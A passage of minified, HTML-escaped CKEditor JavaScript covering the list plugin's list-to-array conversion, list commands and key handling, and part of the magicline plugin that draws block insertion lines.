e[p].parent=c)}d=CKEDITOR.plugins.list.arrayToList(e,d,null,a.config.enterMode);for(var m,e=d.listNode.getChildCount(),b=0;b&lt;e&amp;&amp;(m=d.listNode.getChild(b));b++)m.getName()==this.type&amp;&amp;f.push(m);d.listNode.replace(l.root);a.fire(&quot;contentDomInvalidated&quot;)}function L(a,l,d){var f=l.contents,e=l.root.getDocument(),g=[];if(1==f.length&amp;&amp;f[0].equals(l.root)){var b=e.createElement(&quot;div&quot;);f[0].moveChildren&amp;&amp;f[0].moveChildren(b);f[0].append(b);f[0]=b}l=l.contents[0].getParent();for(b=0;b&lt;f.length;b++)l=l.getCommonAncestor(f[b].getParent());
a=a.config.useComputedState;var h,k;a=void 0===a||a;for(b=0;b&lt;f.length;b++)for(var c=f[b],p;p=c.getParent();){if(p.equals(l)){g.push(c);!k&amp;&amp;c.getDirection()&amp;&amp;(k=1);c=c.getDirection(a);null!==h&amp;&amp;(h=h&amp;&amp;h!=c?null:c);break}c=p}if(!(1&gt;g.length)){f=g[g.length-1].getNext();b=e.createElement(this.type);for(d.push(b);g.length;)d=g.shift(),a=e.createElement(&quot;li&quot;),c=d,c.is(&quot;pre&quot;)||M.test(c.getName())||&quot;false&quot;==c.getAttribute(&quot;contenteditable&quot;)?d.appendTo(a):(d.copyAttributes(a),h&amp;&amp;d.getDirection()&amp;&amp;(a.removeStyle(&quot;direction&quot;),
a.removeAttribute(&quot;dir&quot;)),d.moveChildren(a),d.remove()),a.appendTo(b);h&amp;&amp;k&amp;&amp;b.setAttribute(&quot;dir&quot;,h);f?b.insertBefore(f):b.appendTo(l)}}function N(a,l,d){function f(b){if(!(!(c=k[b?&quot;getFirst&quot;:&quot;getLast&quot;]())||c.is&amp;&amp;c.isBlockBoundary()||!(p=l.root[b?&quot;getPrevious&quot;:&quot;getNext&quot;](CKEDITOR.dom.walker.invisible(!0)))||p.is&amp;&amp;p.isBlockBoundary({br:1})))a.document.createElement(&quot;br&quot;)[b?&quot;insertBefore&quot;:&quot;insertAfter&quot;](c)}for(var e=CKEDITOR.plugins.list.listToArray(l.root,d),g=[],b=0;b&lt;l.contents.length;b++){var h=
l.contents[b];(h=h.getAscendant(&quot;li&quot;,!0))&amp;&amp;!h.getCustomData(&quot;list_item_processed&quot;)&amp;&amp;(g.push(h),CKEDITOR.dom.element.setMarker(d,h,&quot;list_item_processed&quot;,!0))}h=null;for(b=0;b&lt;g.length;b++)h=g[b].getCustomData(&quot;listarray_index&quot;),e[h].indent=-1;for(b=h+1;b&lt;e.length;b++)if(e[b].indent&gt;e[b-1].indent+1){g=e[b-1].indent+1-e[b].indent;for(h=e[b].indent;e[b]&amp;&amp;e[b].indent&gt;=h;)e[b].indent+=g,b++;b--}var k=CKEDITOR.plugins.list.arrayToList(e,d,null,a.config.enterMode,l.root.getAttribute(&quot;dir&quot;)).listNode,c,p;
f(!0);f();k.replace(l.root);a.fire(&quot;contentDomInvalidated&quot;)}function C(a,l){this.name=a;this.context=this.type=l;this.allowedContent=l+&quot; li&quot;;this.requiredContent=l}function F(a,l,d,f){for(var e,g;e=a[f?&quot;getLast&quot;:&quot;getFirst&quot;](O);)(g=e.getDirection(1))!==l.getDirection(1)&amp;&amp;e.setAttribute(&quot;dir&quot;,g),e.remove(),d?e[f?&quot;insertBefore&quot;:&quot;insertAfter&quot;](d):l.append(e,f)}function G(a){function l(d){var f=a[d?&quot;getPrevious&quot;:&quot;getNext&quot;](t);f&amp;&amp;f.type==CKEDITOR.NODE_ELEMENT&amp;&amp;f.is(a.getName())&amp;&amp;(F(a,f,null,!d),a.remove(),
a=f)}l();l(1)}function H(a){return a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(a.getName()in CKEDITOR.dtd.$block||a.getName()in CKEDITOR.dtd.$listItem)&amp;&amp;CKEDITOR.dtd[a.getName()][&quot;#&quot;]}function D(a,l,d){a.fire(&quot;saveSnapshot&quot;);d.enlarge(CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS);var f=d.extractContents();l.trim(!1,!0);var e=l.createBookmark(),g=new CKEDITOR.dom.elementPath(l.startContainer),b=g.block,g=g.lastElement.getAscendant(&quot;li&quot;,1)||b,h=new CKEDITOR.dom.elementPath(d.startContainer),k=h.contains(CKEDITOR.dtd.$listItem),
h=h.contains(CKEDITOR.dtd.$list);b?(b=b.getBogus())&amp;&amp;b.remove():h&amp;&amp;(b=h.getPrevious(t))&amp;&amp;z(b)&amp;&amp;b.remove();(b=f.getLast())&amp;&amp;b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;b.is(&quot;br&quot;)&amp;&amp;b.remove();(b=l.startContainer.getChild(l.startOffset))?f.insertBefore(b):l.startContainer.append(f);k&amp;&amp;(f=A(k))&amp;&amp;(g.contains(k)?(F(f,k.getParent(),k),f.remove()):g.append(f));for(;d.checkStartOfBlock()&amp;&amp;d.checkEndOfBlock();){h=d.startPath();f=h.block;if(!f)break;f.is(&quot;li&quot;)&amp;&amp;(g=f.getParent(),f.equals(g.getLast(t))&amp;&amp;f.equals(g.getFirst(t))&amp;&amp;
(f=g));d.moveToPosition(f,CKEDITOR.POSITION_BEFORE_START);f.remove()}d=d.clone();f=a.editable();d.setEndAt(f,CKEDITOR.POSITION_BEFORE_END);d=new CKEDITOR.dom.walker(d);d.evaluator=function(a){return t(a)&amp;&amp;!z(a)};(d=d.next())&amp;&amp;d.type==CKEDITOR.NODE_ELEMENT&amp;&amp;d.getName()in CKEDITOR.dtd.$list&amp;&amp;G(d);l.moveToBookmark(e);l.select();a.fire(&quot;saveSnapshot&quot;)}function A(a){return(a=a.getLast(t))&amp;&amp;a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.getName()in u?a:null}var u={ol:1,ul:1},P=CKEDITOR.dom.walker.whitespaces(),I=CKEDITOR.dom.walker.bookmark(),
t=function(a){return!(P(a)||I(a))},z=CKEDITOR.dom.walker.bogus();CKEDITOR.plugins.list={listToArray:function(a,l,d,f,e){if(!u[a.getName()])return[];f||(f=0);d||(d=[]);for(var g=0,b=a.getChildCount();g&lt;b;g++){var h=a.getChild(g);h.type==CKEDITOR.NODE_ELEMENT&amp;&amp;h.getName()in CKEDITOR.dtd.$list&amp;&amp;CKEDITOR.plugins.list.listToArray(h,l,d,f+1);if(&quot;li&quot;==h.$.nodeName.toLowerCase()){var k={parent:a,indent:f,element:h,contents:[]};e?k.grandparent=e:(k.grandparent=a.getParent(),k.grandparent&amp;&amp;&quot;li&quot;==k.grandparent.$.nodeName.toLowerCase()&amp;&amp;
(k.grandparent=k.grandparent.getParent()));l&amp;&amp;CKEDITOR.dom.element.setMarker(l,h,&quot;listarray_index&quot;,d.length);d.push(k);for(var c=0,p=h.getChildCount(),m;c&lt;p;c++)m=h.getChild(c),m.type==CKEDITOR.NODE_ELEMENT&amp;&amp;u[m.getName()]?CKEDITOR.plugins.list.listToArray(m,l,d,f+1,k.grandparent):k.contents.push(m)}}return d},arrayToList:function(a,l,d,f,e){d||(d=0);if(!a||a.length&lt;d+1)return null;for(var g,b=a[d].parent.getDocument(),h=new CKEDITOR.dom.documentFragment(b),k=null,c=d,p=Math.max(a[d].indent,0),m=
null,n,r,y=f==CKEDITOR.ENTER_P?&quot;p&quot;:&quot;div&quot;;;){var q=a[c];g=q.grandparent;n=q.element.getDirection(1);if(q.indent==p){k&amp;&amp;a[c].parent.getName()==k.getName()||(k=a[c].parent.clone(!1,1),e&amp;&amp;k.setAttribute(&quot;dir&quot;,e),h.append(k));m=k.append(q.element.clone(0,1));n!=k.getDirection(1)&amp;&amp;m.setAttribute(&quot;dir&quot;,n);for(g=0;g&lt;q.contents.length;g++)m.append(q.contents[g].clone(1,1));c++}else if(q.indent==Math.max(p,0)+1)q=a[c-1].element.getDirection(1),c=CKEDITOR.plugins.list.arrayToList(a,null,c,f,q!=n?n:null),!m.getChildCount()&amp;&amp;
CKEDITOR.env.needsNbspFiller&amp;&amp;7&gt;=b.$.documentMode&amp;&amp;m.append(b.createText(&quot; &quot;)),m.append(c.listNode),c=c.nextIndex;else if(-1==q.indent&amp;&amp;!d&amp;&amp;g){u[g.getName()]?(m=q.element.clone(!1,!0),n!=g.getDirection(1)&amp;&amp;m.setAttribute(&quot;dir&quot;,n)):m=new CKEDITOR.dom.documentFragment(b);var k=g.getDirection(1)!=n,w=q.element,B=w.getAttribute(&quot;class&quot;),E=w.getAttribute(&quot;style&quot;),J=m.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT&amp;&amp;(f!=CKEDITOR.ENTER_BR||k||E||B),v,z=q.contents.length,x;for(g=0;g&lt;z;g++)if(v=q.contents[g],I(v)&amp;&amp;
1&lt;z)J?x=v.clone(1,1):m.append(v.clone(1,1));else if(v.type==CKEDITOR.NODE_ELEMENT&amp;&amp;v.isBlockBoundary()){k&amp;&amp;!v.getDirection()&amp;&amp;v.setAttribute(&quot;dir&quot;,n);r=v;var A=w.getAttribute(&quot;style&quot;);A&amp;&amp;r.setAttribute(&quot;style&quot;,A.replace(/([^;])$/,&quot;$1;&quot;)+(r.getAttribute(&quot;style&quot;)||&quot;&quot;));B&amp;&amp;v.addClass(B);r=null;x&amp;&amp;(m.append(x),x=null);m.append(v.clone(1,1))}else J?(r||(r=b.createElement(y),m.append(r),k&amp;&amp;r.setAttribute(&quot;dir&quot;,n)),E&amp;&amp;r.setAttribute(&quot;style&quot;,E),B&amp;&amp;r.setAttribute(&quot;class&quot;,B),x&amp;&amp;(r.append(x),x=null),r.append(v.clone(1,
1))):m.append(v.clone(1,1));x&amp;&amp;((r||m).append(x),x=null);m.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT&amp;&amp;c!=a.length-1&amp;&amp;(CKEDITOR.env.needsBrFiller&amp;&amp;(n=m.getLast())&amp;&amp;n.type==CKEDITOR.NODE_ELEMENT&amp;&amp;n.is(&quot;br&quot;)&amp;&amp;n.remove(),(n=m.getLast(t))&amp;&amp;n.type==CKEDITOR.NODE_ELEMENT&amp;&amp;n.is(CKEDITOR.dtd.$block)||m.append(b.createElement(&quot;br&quot;)));n=m.$.nodeName.toLowerCase();&quot;div&quot;!=n&amp;&amp;&quot;p&quot;!=n||m.appendBogus();h.append(m);k=null;c++}else return null;r=null;if(a.length&lt;=c||Math.max(a[c].indent,0)&lt;p)break}if(l)for(a=h.getFirst();a;){if(a.type==
CKEDITOR.NODE_ELEMENT&amp;&amp;(CKEDITOR.dom.element.clearMarkers(l,a),a.getName()in CKEDITOR.dtd.$listItem&amp;&amp;(d=a,b=e=f=void 0,f=d.getDirection()))){for(e=d.getParent();e&amp;&amp;!(b=e.getDirection());)e=e.getParent();f==b&amp;&amp;d.removeAttribute(&quot;dir&quot;)}a=a.getNextSourceNode()}return{listNode:h,nextIndex:c}}};var M=/^h[1-6]$/,O=CKEDITOR.dom.walker.nodeType(CKEDITOR.NODE_ELEMENT);C.prototype={exec:function(a){function l(a){return u[a.root.getName()]&amp;&amp;!d(a.root,[CKEDITOR.NODE_COMMENT])}function d(a,b){return CKEDITOR.tools.array.filter(a.getChildren().toArray(),
function(a){return-1===CKEDITOR.tools.array.indexOf(b,a.type)}).length}function f(a){var b=!0;if(0===a.getChildCount())return!1;a.forEach(function(a){if(a.type!==CKEDITOR.NODE_COMMENT)return b=!1},null,!0);return b}this.refresh(a,a.elementPath());var e=a.config,g=a.getSelection(),b=g&amp;&amp;g.getRanges();if(this.state==CKEDITOR.TRISTATE_OFF){var h=a.editable();if(h.getFirst(t)){var k=1==b.length&amp;&amp;b[0];(e=k&amp;&amp;k.getEnclosedNode())&amp;&amp;e.is&amp;&amp;this.type==e.getName()&amp;&amp;this.setState(CKEDITOR.TRISTATE_ON)}else e.enterMode==
CKEDITOR.ENTER_BR?h.appendBogus():b[0].fixBlock(1,e.enterMode==CKEDITOR.ENTER_P?&quot;p&quot;:&quot;div&quot;),g.selectRanges(b)}for(var e=g.createBookmarks(!0),h=[],c={},b=b.createIterator(),p=0;(k=b.getNextRange())&amp;&amp;++p;){var m=k.getBoundaryNodes(),n=m.startNode,r=m.endNode;n.type==CKEDITOR.NODE_ELEMENT&amp;&amp;&quot;td&quot;==n.getName()&amp;&amp;k.setStartAt(m.startNode,CKEDITOR.POSITION_AFTER_START);r.type==CKEDITOR.NODE_ELEMENT&amp;&amp;&quot;td&quot;==r.getName()&amp;&amp;k.setEndAt(m.endNode,CKEDITOR.POSITION_BEFORE_END);k=k.createIterator();for(k.forceBrBreak=
this.state==CKEDITOR.TRISTATE_OFF;m=k.getNextParagraph();)if(!m.getCustomData(&quot;list_block&quot;)&amp;&amp;!f(m)){CKEDITOR.dom.element.setMarker(c,m,&quot;list_block&quot;,1);for(var y=a.elementPath(m),n=y.elements,r=0,y=y.blockLimit,q,w=n.length-1;0&lt;=w&amp;&amp;(q=n[w]);w--)if(u[q.getName()]&amp;&amp;y.contains(q)){y.removeCustomData(&quot;list_group_object_&quot;+p);(n=q.getCustomData(&quot;list_group_object&quot;))?n.contents.push(m):(n={root:q,contents:[m]},h.push(n),CKEDITOR.dom.element.setMarker(c,q,&quot;list_group_object&quot;,n));r=1;break}r||(r=y,r.getCustomData(&quot;list_group_object_&quot;+
p)?r.getCustomData(&quot;list_group_object_&quot;+p).contents.push(m):(n={root:r,contents:[m]},CKEDITOR.dom.element.setMarker(c,r,&quot;list_group_object_&quot;+p,n),h.push(n)))}}for(q=[];0&lt;h.length;)n=h.shift(),this.state==CKEDITOR.TRISTATE_OFF?l(n)||(u[n.root.getName()]?K.call(this,a,n,c,q):L.call(this,a,n,q)):this.state==CKEDITOR.TRISTATE_ON&amp;&amp;u[n.root.getName()]&amp;&amp;!l(n)&amp;&amp;N.call(this,a,n,c);for(w=0;w&lt;q.length;w++)G(q[w]);CKEDITOR.dom.element.clearAllMarkers(c);g.selectBookmarks(e);a.focus()},refresh:function(a,l){var d=
l.contains(u,1),f=l.blockLimit||l.root;d&amp;&amp;f.contains(d)?this.setState(d.is(this.type)?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF):this.setState(CKEDITOR.TRISTATE_OFF)}};CKEDITOR.plugins.add(&quot;list&quot;,{requires:&quot;indentlist&quot;,init:function(a){a.blockless||(a.addCommand(&quot;numberedlist&quot;,new C(&quot;numberedlist&quot;,&quot;ol&quot;)),a.addCommand(&quot;bulletedlist&quot;,new C(&quot;bulletedlist&quot;,&quot;ul&quot;)),a.ui.addButton&amp;&amp;(a.ui.addButton(&quot;NumberedList&quot;,{label:a.lang.list.numberedlist,command:&quot;numberedlist&quot;,directional:!0,toolbar:&quot;list,10&quot;}),a.ui.addButton(&quot;BulletedList&quot;,
{label:a.lang.list.bulletedlist,command:&quot;bulletedlist&quot;,directional:!0,toolbar:&quot;list,20&quot;})),a.on(&quot;key&quot;,function(l){var d=l.data.domEvent.getKey(),f;if(&quot;wysiwyg&quot;==a.mode&amp;&amp;d in{8:1,46:1}){var e=a.getSelection().getRanges()[0],g=e&amp;&amp;e.startPath();if(e&amp;&amp;e.collapsed){var b=8==d,h=a.editable(),k=new CKEDITOR.dom.walker(e.clone());k.evaluator=function(a){return t(a)&amp;&amp;!z(a)};k.guard=function(a,b){return!(b&amp;&amp;a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.is(&quot;table&quot;))};d=e.clone();if(b){var c;(c=g.contains(u))&amp;&amp;e.checkBoundaryOfElement(c,
CKEDITOR.START)&amp;&amp;(c=c.getParent())&amp;&amp;c.is(&quot;li&quot;)&amp;&amp;(c=A(c))?(f=c,c=c.getPrevious(t),d.moveToPosition(c&amp;&amp;z(c)?c:f,CKEDITOR.POSITION_BEFORE_START)):(k.range.setStartAt(h,CKEDITOR.POSITION_AFTER_START),k.range.setEnd(e.startContainer,e.startOffset),(c=k.previous())&amp;&amp;c.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(c.getName()in u||c.is(&quot;li&quot;))&amp;&amp;(c.is(&quot;li&quot;)||(k.range.selectNodeContents(c),k.reset(),k.evaluator=H,c=k.previous()),f=c,d.moveToElementEditEnd(f),d.moveToPosition(d.endPath().block,CKEDITOR.POSITION_BEFORE_END)));
if(f)D(a,d,e),l.cancel();else{var p=g.contains(u);p&amp;&amp;e.checkBoundaryOfElement(p,CKEDITOR.START)&amp;&amp;(f=p.getFirst(t),e.checkBoundaryOfElement(f,CKEDITOR.START)&amp;&amp;(c=p.getPrevious(t),A(f)?c&amp;&amp;(e.moveToElementEditEnd(c),e.select()):a.execCommand(&quot;outdent&quot;),l.cancel()))}}else if(f=g.contains(&quot;li&quot;)){if(k.range.setEndAt(h,CKEDITOR.POSITION_BEFORE_END),b=(h=f.getLast(t))&amp;&amp;H(h)?h:f,g=0,(c=k.next())&amp;&amp;c.type==CKEDITOR.NODE_ELEMENT&amp;&amp;c.getName()in u&amp;&amp;c.equals(h)?(g=1,c=k.next()):e.checkBoundaryOfElement(b,CKEDITOR.END)&amp;&amp;
(g=2),g&amp;&amp;c){e=e.clone();e.moveToElementEditStart(c);if(1==g&amp;&amp;(d.optimize(),!d.startContainer.equals(f))){for(f=d.startContainer;f.is(CKEDITOR.dtd.$inline);)p=f,f=f.getParent();p&amp;&amp;d.moveToPosition(p,CKEDITOR.POSITION_AFTER_END)}2==g&amp;&amp;(d.moveToPosition(d.endPath().block,CKEDITOR.POSITION_BEFORE_END),e.endPath().block&amp;&amp;e.moveToPosition(e.endPath().block,CKEDITOR.POSITION_AFTER_START));D(a,d,e);l.cancel()}}else k.range.setEndAt(h,CKEDITOR.POSITION_BEFORE_END),(c=k.next())&amp;&amp;c.type==CKEDITOR.NODE_ELEMENT&amp;&amp;
c.is(u)&amp;&amp;(c=c.getFirst(t),g.block&amp;&amp;e.checkStartOfBlock()&amp;&amp;e.checkEndOfBlock()?(g.block.remove(),e.moveToElementEditStart(c),e.select()):A(c)?(e.moveToElementEditStart(c),e.select()):(e=e.clone(),e.moveToElementEditStart(c),D(a,d,e)),l.cancel());setTimeout(function(){a.selectionChange(1)})}}}))}})})();(function(){function V(a,c,d){return n(c)&amp;&amp;n(d)&amp;&amp;d.equals(c.getNext(function(a){return!(E(a)||F(a)||u(a))}))}function z(a){this.upper=a[0];this.lower=a[1];this.set.apply(this,a.slice(2))}function O(a){var c=a.element;if(c&amp;&amp;n(c)&amp;&amp;(c=c.getAscendant(a.triggers,!0))&amp;&amp;a.editable.contains(c)){var d=P(c);if(&quot;true&quot;==d.getAttribute(&quot;contenteditable&quot;))return c;if(d.is(a.triggers))return d}return null}function ka(a,c,d){r(a,c);r(a,d);a=c.size.bottom;d=d.size.top;return a&amp;&amp;d?0|(a+d)/2:a||d}function w(a,c,d){return c=
c[d?&quot;getPrevious&quot;:&quot;getNext&quot;](function(b){return b&amp;&amp;b.type==CKEDITOR.NODE_TEXT&amp;&amp;!E(b)||n(b)&amp;&amp;!u(b)&amp;&amp;!A(a,b)})}function q(a,c,d){return a&gt;c&amp;&amp;a&lt;d}function P(a,c){if(a.data(&quot;cke-editable&quot;))return null;for(c||(a=a.getParent());a&amp;&amp;!a.data(&quot;cke-editable&quot;);){if(a.hasAttribute(&quot;contenteditable&quot;))return a;a=a.getParent()}return null}function la(a){var c=a.doc,d=G(&#039;\x3cspan contenteditable\x3d&quot;false&quot; data-cke-magic-line\x3d&quot;1&quot; style\x3d&quot;&#039;+Q+&quot;position:absolute;border-top:1px dashed &quot;+a.boxColor+&#039;&quot;\x3e\x3c/span\x3e&#039;,
c),b=CKEDITOR.getUrl(this.path+&quot;images/&quot;+(t.hidpi?&quot;hidpi/&quot;:&quot;&quot;)+&quot;icon&quot;+(a.rtl?&quot;-rtl&quot;:&quot;&quot;)+&quot;.png&quot;);v(d,{attach:function(){this.wrap.getParent()||this.wrap.appendTo(a.editable,!0);return this},lineChildren:[v(G(&#039;\x3cspan title\x3d&quot;&#039;+a.editor.lang.magicline.title+&#039;&quot; contenteditable\x3d&quot;false&quot;\x3e\x26#8629;\x3c/span\x3e&#039;,c),{base:Q+&quot;height:17px;width:17px;&quot;+(a.rtl?&quot;left&quot;:&quot;right&quot;)+&quot;:17px;background:url(&quot;+b+&quot;) center no-repeat &quot;+a.boxColor+&quot;;cursor:pointer;&quot;+(t.hc?&quot;font-size: 15px;line-height:14px;border:1px solid #fff;text-align:center;&quot;:
&quot;&quot;)+(t.hidpi?&quot;background-size: 9px 10px;&quot;:&quot;&quot;),looks:[&quot;top:-8px; border-radius: 2px;&quot;,&quot;top:-17px; border-radius: 2px 2px 0px 0px;&quot;,&quot;top:-1px; border-radius: 0px 0px 2px 2px;&quot;]}),v(G(W,c),{base:X+&quot;left:0px;border-left-color:&quot;+a.boxColor+&quot;;&quot;,looks:[&quot;border-width:8px 0 8px 8px;top:-8px&quot;,&quot;border-width:8px 0 0 8px;top:-8px&quot;,&quot;border-width:0 0 8px 8px;top:0px&quot;]}),v(G(W,c),{base:X+&quot;right:0px;border-right-color:&quot;+a.boxColor+&quot;;&quot;,looks:[&quot;border-width:8px 8px 8px 0;top:-8px&quot;,&quot;border-width:8px 8px 0 0;top:-8px&quot;,
&quot;border-width:0 8px 8px 0;top:0px&quot;]})],detach:function(){this.wrap.getParent()&amp;&amp;this.wrap.remove();return this},mouseNear:function(){r(a,this);var b=a.holdDistance,c=this.size;return c&amp;&amp;q(a.mouse.y,c.top-b,c.bottom+b)&amp;&amp;q(a.mouse.x,c.left-b,c.right+b)?!0:!1},place:function(){var b=a.view,c=a.editable,d=a.trigger,h=d.upper,g=d.lower,l=h||g,p=l.getParent(),m={};this.trigger=d;h&amp;&amp;r(a,h,!0);g&amp;&amp;r(a,g,!0);r(a,p,!0);a.inInlineMode&amp;&amp;H(a,!0);p.equals(c)?(m.left=b.scroll.x,m.right=-b.scroll.x,m.width=&quot;&quot;):(m.left=
l.size.left-l.size.margin.left+b.scroll.x-(a.inInlineMode?b.editable.left+b.editable.border.left:0),m.width=l.size.outerWidth+l.size.margin.left+l.size.margin.right+b.scroll.x,m.right=&quot;&quot;);h&amp;&amp;g?m.top=h.size.margin.bottom===g.size.margin.top?0|h.size.bottom+h.size.margin.bottom/2:h.size.margin.bottom&lt;g.size.margin.top?h.size.bottom+h.size.margin.bottom:h.size.bottom+h.size.margin.bottom-g.size.margin.top:h?g||(m.top=h.size.bottom+h.size.margin.bottom):m.top=g.size.top-g.size.margin.top;d.is(C)||q(m.top,
b.scroll.y-15,b.scroll.y+5)?(m.top=a.inInlineMode?0:b.scroll.y,this.look(C)):d.is(D)||q(m.top,b.pane.bottom-5,b.pane.bottom+15)?(m.top=a.inInlineMode?b.editable.height+b.editable.padding.top+b.editable.padding.bottom:b.pane.bottom-1,this.look(D)):(a.inInlineMode&amp;&amp;(m.top-=b.editable.top+b.editable.border.top),this.look(x));a.inInlineMode&amp;&amp;(m.top--,m.top+=b.editable.scroll.top,m.left+=b.editable.scroll.left);for(var n in m)m[n]=CKEDITOR.tools.cssLength(m[n]);this.setStyles(m)},look:function(a){if(this.oldLook!=
a){for(var b=this.lineChildren.length,c;b--;)(c=this.lineChildren[b]).setAttribute(&quot;style&quot;,c.base+c.looks[0|a/2]);this.oldLook=a}},wrap:new R(&quot;span&quot;,a.doc)});for(c=d.lineChildren.length;c--;)d.lineChildren[c].appendTo(d);d.look(x);d.appendTo(d.wrap);d.unselectable();d.lineChildren[0].on(&quot;mouseup&quot;,function(b){d.detach();S(a,function(b){var c=a.line.trigger;b[c.is(I)?&quot;insertBefore&quot;:&quot;insertAfter&quot;](c.is(I)?c.lower:c.upper)},!0);a.editor.focus();t.ie||a.enterMode==CKEDITOR.ENTER_BR||a.hotNode.scrollIntoView();
b.data.preventDefault(!0)});d.on(&quot;mousedown&quot;,function(a){a.data.preventDefault(!0)});a.line=d}function S(a,c,d){var b=new CKEDITOR.dom.range(a.doc),e=a.editor,f;t.ie&amp;&amp;a.enterMode==CKEDITOR.ENTER_BR?f=a.doc.createText(J):(f=(f=P(a.element,!0))&amp;&amp;f.data(&quot;cke-enter-mode&quot;)||a.enterMode,f=new R(K[f],a.doc),f.is(&quot;br&quot;)||a.doc.createText(J).appendTo(f));d&amp;&amp;e.fire(&quot;saveSnapshot&quot;);c(f);b.moveToPosition(f,CKEDITOR.POSITION_AFTER_START);e.getSelection().selectRanges([b]);a.hotNode=f;d&amp;&amp;e.fire(&quot;saveSnapshot&quot;)}
function Y(a,c){return{canUndo:!0,modes:{wysiwyg:1},exec:function(){function d(b){var d=t.ie&amp;&amp;9&gt;t.version?&quot; &quot;:J,f=a.hotNode&amp;&amp;a.hotNode.getText()==d&amp;&amp;a.element.equals(a.hotNode)&amp;&amp;a.lastCmdDirection===!!c;S(a,function(d){f&amp;&amp;a.hotNode&amp;&amp;a.hotNode.remove();d[c?&quot;insertAfter&quot;:&quot;insertBefore&quot;](b);d.setAttributes({&quot;data-cke-magicline-hot&quot;:1,&quot;data-cke-magicline-dir&quot;:!!c});a.lastCmdDirection=!!c});t.ie||a.enterMode==CKEDITOR.ENTER_BR||a.hotNode.scrollIntoView();a.line.detach()}return function(b){b=b.getSelection().getStartElement();
var e;b=b.getAscendant(Z,1);if(!aa(a,b)&amp;&amp;b&amp;&amp;!b.equals(a.editable)&amp;&amp;!b.contains(a.editable)){(e=P(b))&amp;&amp;&quot;false&quot;==e.getAttribute(&quot;contenteditable&quot;)&amp;&amp;(b=e);a.element=b;e=w(a,b,!c);var f;n(e)&amp;&amp;e.is(a.triggers)&amp;&amp;e.is(ma)&amp;&amp;(!w(a,e,!c)||(f=w(a,e,!c))&amp;&amp;n(f)&amp;&amp;f.is(a.triggers))?d(e):(f=O(a,b),n(f)&amp;&amp;(w(a,f,!c)?(b=w(a,f,!c))&amp;&amp;n(b)&amp;&amp;b.is(a.triggers)&amp;&amp;d(f):d(f)))}}}()}}function A(a,c){if(!c||c.type!=CKEDITOR.NODE_ELEMENT||!c.$)return!1;var d=a.line;return d.wrap.equals(c)||d.wrap.contains(c)}function n(a){return a&amp;&amp;
a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.$}function u(a){if(!n(a))return!1;var c;(c=ba(a))||(n(a)?(c={left:1,right:1,center:1},c=!(!c[a.getComputedStyle(&quot;float&quot;)]&amp;&amp;!c[a.getAttribute(&quot;align&quot;)])):c=!1);return c}function ba(a){return!!{absolute:1,fixed:1}[a.getComputedStyle(&quot;position&quot;)]}function L(a,c){return n(c)?c.is(a.triggers):null}function aa(a,c){if(!c)return!1;for(var d=c.getParents(1),b=d.length;b--;)for(var e=a.tabuList.length;e--;)if(d[b].hasAttribute(a.tabuList[e]))return!0;return!1}function na(a,
c,d){c=c[d?&quot;getLast&quot;:&quot;getFirst&quot;](function(b){return a.isRelevant(b)&amp;&amp;!b.is(oa)});if(!c)return!1;r(a,c);return d?c.size.top&gt;a.mouse.y:c.size.bottom&lt;a.mouse.y}function ca(a){var c=a.editable,d=a.mouse,b=a.view,e=a.triggerOffset;H(a);var f=d.y&gt;(a.inInlineMode?b.editable.top+b.editable.height/2:Math.min(b.editable.height,b.pane.height)/2),c=c[f?&quot;getLast&quot;:&quot;getFirst&quot;](function(a){return!(E(a)||F(a))});if(!c)return null;A(a,c)&amp;&amp;(c=a.line.wrap[f?&quot;getPrevious&quot;:&quot;getNext&quot;](function(a){return!(E(a)||F(a))}));
if(!n(c)||u(c)||!L(a,c))return null;r(a,c);return!f&amp;&amp;0&lt;=c.size.top&amp;&amp;q(d.y,0,c.size.top+e)?(a=a.inInlineMode||0===b.scroll.y?C:x,new z([null,c,I,M,a])):f&amp;&amp;c.size.bottom&lt;=b.pane.height&amp;&amp;q(d.y,c.size.bottom-e,b.pane.height)?(a=a.inInlineMode||q(c.size.bottom,b.pane.height-e,b.pane.height)?D:x,new z([c,null,da,M,a])):null}function ea(a){var c=a.mouse,d=a.view,b=a.triggerOffset,e=O(a);if(!e)return null;r(a,e);var b=Math.min(b,0|e.size.outerHeight/2),f=[],k,h;if(q(c.y,e.size.top-1,e.size.top+b))h=!1;else if(q(c.y,
e.size.bottom-b,e.size.bottom+1))h=!0;else return null;if(u(e)||na(a,e,h)||e.getParent().is(fa))return null;var g=w(a,e,!h);if(g){if(g&amp;&amp;g.type==CKEDITOR.NODE_TEXT)return null;if(n(g)){if(u(g)||!L(a,g)||g.getParent().is(fa))return null;f=[g,e][h?&quot;reverse&quot;:&quot;concat&quot;]().concat([T,M])}}else e.equals(a.editable[h?&quot;getLast&quot;:&quot;getFirst&quot;](a.isRelevant))?(H(a),h&amp;&amp;q(c.y,e.size.bottom-b,d.pane.height)&amp;&amp;q(e.size.bottom,d.pane.height-b,d.pane.height)?k=D:q(c.y,0,e.size.top+b)&amp;&amp;(k=C)):k=x,f=[null,e][h?&quot;reverse&quot;:
&quot;concat&quot;]().concat([h?da:I,M,k,e.equals(a.editable[h?&quot;getLast&quot;:&quot;getFirst&quot;](a.isRelevant))?h?D:C:x]);return 0 in f?new z(f):null}function U(a,c,d,b){for(var e=c.getDocumentPosition(),f={},k={},h={},g={},l=y.length;l--;)f[y[l]]=parseInt(c.getComputedStyle.call(c,&quot;border-&quot;+y[l]+&quot;-width&quot;),10)||0,h[y[l]]=parseInt(c.getComputedStyle.call(c,&quot;padding-&quot;+y[l]),10)||0,k[y[l]]=parseInt(c.getComputedStyle.call(c,&quot;margin-&quot;+y[l]),10)||0;d&amp;&amp;!b||N(a,b);g.top=e.y-(d?0:a.view.scroll.y);g.left=e.x-(d?0:a.view.scroll.x);
